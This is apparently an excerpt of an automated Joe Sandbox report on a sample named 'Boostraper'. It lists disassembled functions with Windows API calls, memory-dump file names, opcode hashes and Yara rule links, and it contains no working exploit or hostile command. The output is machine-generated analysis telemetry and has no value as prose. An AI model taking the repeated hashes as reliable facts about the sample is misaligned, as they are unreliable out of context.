Opcode ID: bd8853ea5220101ccbaea1af9850efd7b9243b606dec5c2d367c82b4585e4698
Instruction ID: e9b60ec0e25f43ccbc5bb4d0e19e57b99e699dfa2064b369f7c12299438904f6
Opcode Fuzzy Hash: bd8853ea5220101ccbaea1af9850efd7b9243b606dec5c2d367c82b4585e4698
Instruction Fuzzy Hash: E8A001E62ED102FC312C7293AD1AD3A076CC4C5BA13308A1AB51AD40CAA98C5D496A72

Function 0078DAE8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DAB2

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 93a67ed6e59b8378fdd4b77f4e2fdf9eb012944ba0f99c2d13beaf35a5fab93b
Instruction ID: e9b60ec0e25f43ccbc5bb4d0e19e57b99e699dfa2064b369f7c12299438904f6
Opcode Fuzzy Hash: 93a67ed6e59b8378fdd4b77f4e2fdf9eb012944ba0f99c2d13beaf35a5fab93b
Instruction Fuzzy Hash: E8A001E62ED102FC312C7293AD1AD3A076CC4C5BA13308A1AB51AD40CAA98C5D496A72

Function 0078DACA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DAB2

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8b735b8072e915ffcdaeb7fbe8e02bf48d9b80947bc4f29830e85eaae9bb81cd
Instruction ID: e9b60ec0e25f43ccbc5bb4d0e19e57b99e699dfa2064b369f7c12299438904f6
Opcode Fuzzy Hash: 8b735b8072e915ffcdaeb7fbe8e02bf48d9b80947bc4f29830e85eaae9bb81cd
Instruction Fuzzy Hash: E8A001E62ED102FC312C7293AD1AD3A076CC4C5BA13308A1AB51AD40CAA98C5D496A72

Function 0078DAC0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DAB2

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 320aee48a0a031fcbeafb7745a64b70612f640109cb990cad14ae14ae2339a56
Instruction ID: e9b60ec0e25f43ccbc5bb4d0e19e57b99e699dfa2064b369f7c12299438904f6
Opcode Fuzzy Hash: 320aee48a0a031fcbeafb7745a64b70612f640109cb990cad14ae14ae2339a56
Instruction Fuzzy Hash: E8A001E62ED102FC312C7293AD1AD3A076CC4C5BA13308A1AB51AD40CAA98C5D496A72

Function 0078DAA5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DAB2

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 04de93cc3af0a996c618cb0eac509969156a54c3cb623f622c5f440b64308635
Instruction ID: c5a6da2b6d1c368757215e5cebc081d124f1297172eacaa20c3c2ef93e10fc5b
Opcode Fuzzy Hash: 04de93cc3af0a996c618cb0eac509969156a54c3cb623f622c5f440b64308635
Instruction Fuzzy Hash: B7A001E63ED502BC316CB293AD1AD3A076CD4D1B62330861AB51AE40CAA98C5D496A72

Function 0078DBF7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DBD5

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c2446ef051d2a18efd9280863d6625c221c9fd86f2a087814adaec2adcf5b2a2
Instruction ID: f636fdfcd47842969561c87d5bb34fb99959a67ca183294838bdc8ff1ad356dc
Opcode Fuzzy Hash: c2446ef051d2a18efd9280863d6625c221c9fd86f2a087814adaec2adcf5b2a2
Instruction Fuzzy Hash: 5EA011EA2EC002BC302832202C0BC3A032CC0C0B203308A0AB20BC00C2AA880C082230

Function 0078DC4E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DC36

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e28539c7ab175d9c6faaeb5e7ee59056cfcd7b3e2954a2aa6cd8bf6b4b114b08
Instruction ID: 2cdade65d0d3fef9c229a71c9f75bc890f31547e46b1331aa98482ef28456b48
Opcode Fuzzy Hash: e28539c7ab175d9c6faaeb5e7ee59056cfcd7b3e2954a2aa6cd8bf6b4b114b08
Instruction Fuzzy Hash: 51A002D55ED102BC311C75516D16D76036CC4C5B517304919F51AD40D175885D455531

Function 0078DC44 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DC36

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 63360a2464a974cb0e8fde425e5b2630468607fea8b46dc50f3ebf46ce570f60
Instruction ID: 2cdade65d0d3fef9c229a71c9f75bc890f31547e46b1331aa98482ef28456b48
Opcode Fuzzy Hash: 63360a2464a974cb0e8fde425e5b2630468607fea8b46dc50f3ebf46ce570f60
Instruction Fuzzy Hash: 51A002D55ED102BC311C75516D16D76036CC4C5B517304919F51AD40D175885D455531

Function 0078DC1F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DBD5

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 94de3334601d1c4083e0facfb6cacbed8f9ff3cef443de8166208cb8a35c7edd
Instruction ID: f636fdfcd47842969561c87d5bb34fb99959a67ca183294838bdc8ff1ad356dc
Opcode Fuzzy Hash: 94de3334601d1c4083e0facfb6cacbed8f9ff3cef443de8166208cb8a35c7edd
Instruction Fuzzy Hash: 5EA011EA2EC002BC302832202C0BC3A032CC0C0B203308A0AB20BC00C2AA880C082230

Function 0078DC15 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DBD5

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 403516da7861c634b9c05c86d3f64e3dd8ea13901ce349f62101e4a23919dcf2
Instruction ID: f636fdfcd47842969561c87d5bb34fb99959a67ca183294838bdc8ff1ad356dc
Opcode Fuzzy Hash: 403516da7861c634b9c05c86d3f64e3dd8ea13901ce349f62101e4a23919dcf2
Instruction Fuzzy Hash: 5EA011EA2EC002BC302832202C0BC3A032CC0C0B203308A0AB20BC00C2AA880C082230

Function 0078DC0B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DBD5

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c5bb510b74c96f89bc1664b29613bf2c6bb574b3f064cd5750a59758a84e51ed
Instruction ID: f636fdfcd47842969561c87d5bb34fb99959a67ca183294838bdc8ff1ad356dc
Opcode Fuzzy Hash: c5bb510b74c96f89bc1664b29613bf2c6bb574b3f064cd5750a59758a84e51ed
Instruction Fuzzy Hash: 5EA011EA2EC002BC302832202C0BC3A032CC0C0B203308A0AB20BC00C2AA880C082230

Function 00779EBF Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00779104,?,?,-00001964), ref: 00779EC2

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 02d3ae4a344325dff9650a39a268a66b24e5d0e6e6ba6fa5fbab6c5f34bfe93c
Instruction ID: 045dde28c011ccf50385153cfc006e6e6289d0a44aa138d01459ffd353962640
Opcode Fuzzy Hash: 02d3ae4a344325dff9650a39a268a66b24e5d0e6e6ba6fa5fbab6c5f34bfe93c
Instruction Fuzzy Hash: E1B011300A000A8A8E002F30CC08828BA22EAA230A300C2A0B002CA0A0CB22C002AA00

Function 0078A322 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,0078A587,C:\Users\user\Desktop,00000000,007B946A,00000006), ref: 0078A326

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 475623f22629d01c353e2a2d32f9534183e2ef501962b061fe8e8859fc56e864
Instruction ID: 7c4230943a2ec3c0ece9d5ba7e26534541cd900a9bb8d0adbfbf4eb3838c91ea
Opcode Fuzzy Hash: 475623f22629d01c353e2a2d32f9534183e2ef501962b061fe8e8859fc56e864
Instruction Fuzzy Hash: 13A0123019400A568A000F30CC09C15765097A1702F00C6207002C00A0CB348814A504

Non-executed Functions

Function 0078B8E0 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0077130B: GetDlgItem.USER32(00000000,00003021), ref: 0077134F
Part of subcall function 0077130B: SetWindowTextW.USER32(00000000,007A35B4), ref: 00771365

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0078B971
EndDialog.USER32(?,00000006), ref: 0078B984
GetDlgItem.USER32(?,0000006C), ref: 0078B9A0
SetFocus.USER32(00000000), ref: 0078B9A7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0078B9E1
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0078BA18
FindFirstFileW.KERNEL32(?,?), ref: 0078BA2E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0078BA4C
FileTimeToSystemTime.KERNEL32(?,?), ref: 0078BA5C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0078BA78
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0078BA94
_swprintf.LIBCMT ref: 0078BAC4

Part of subcall function 0077400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0077401D

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0078BAD7
FindClose.KERNEL32(00000000), ref: 0078BADE
_swprintf.LIBCMT ref: 0078BB37
SetDlgItemTextW.USER32(?,00000068,?), ref: 0078BB4A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0078BB67
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0078BB87
FileTimeToSystemTime.KERNEL32(?,?), ref: 0078BB97
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0078BBB1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0078BBC9
_swprintf.LIBCMT ref: 0078BBF5
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0078BC08
_swprintf.LIBCMT ref: 0078BC5C
SetDlgItemTextW.USER32(?,00000069,?), ref: 0078BC6F

Part of subcall function 0078A63C: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0078A662
Part of subcall function 0078A63C: GetNumberFormatW.KERNEL32(00000400,00000000,?,007AE600,?,?), ref: 0078A6B1

Strings

REPLACEFILEDLG, xrefs: 0078B907
%s %s %s, xrefs: 0078BAB2, 0078BBE7
%s %s, xrefs: 0078BB29, 0078BC4E

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 7088384ba949577561f3ef13112e423949b4dc2b50a43fdbda8c0698742c362b
Instruction ID: 20a6cfddfda127a03b6674ebe04dd409f8af71e69674d8df9d728c3fd8195aa8
Opcode Fuzzy Hash: 7088384ba949577561f3ef13112e423949b4dc2b50a43fdbda8c0698742c362b
Instruction Fuzzy Hash: 029199B2244348BFD631AB60DC49FFB77ACEB8A700F044819F749D2091D779AA058772

Function 0077718C Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 296fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00777191
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 007772F1
CloseHandle.KERNEL32(00000000), ref: 00777301

Part of subcall function 00777BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00777C04
Part of subcall function 00777BF5: GetLastError.KERNEL32 ref: 00777C4A
Part of subcall function 00777BF5: CloseHandle.KERNEL32(?), ref: 00777C59

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 0077730C
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 0077741A
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00777446
CloseHandle.KERNEL32(?), ref: 00777457
GetLastError.KERNEL32 ref: 00777467
RemoveDirectoryW.KERNEL32(?), ref: 007774B3
DeleteFileW.KERNEL32(?), ref: 007774DB

Strings

\??\, xrefs: 00777217
UNC\, xrefs: 0077723C
SeCreateSymbolicLinkPrivilege, xrefs: 007771BC
SeRestorePrivilege, xrefs: 007771B2

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: 675b251df08de556a4705860f47d639beaf23de795d7c5c60978e268b9aeecf4
Instruction ID: 38bb39ba5dcc07efe9148422be9477a25714bbb2afc053db280483f56e21d61b
Opcode Fuzzy Hash: 675b251df08de556a4705860f47d639beaf23de795d7c5c60978e268b9aeecf4
Instruction Fuzzy Hash: 21B10371904254EADF25DFA4DC85FEFB7B8AF45340F008569F909E7142E738AA48CBA0

Function 0079866F Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00798767
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00798771
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0079877E

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b4ff8dab5eed06fee4f525befd88bf8603b4bf7d7481ed1385ae7a6212517098
Instruction ID: b704e04d352b23157af75b62c9f8db4077ce52769f7305cd01f13dd2b6c46049
Opcode Fuzzy Hash: b4ff8dab5eed06fee4f525befd88bf8603b4bf7d7481ed1385ae7a6212517098
Instruction Fuzzy Hash: 1831D57594122C9BCB61DF64D889B8CBBB4AF48310F5041EAF80CA7251EB349F858F45

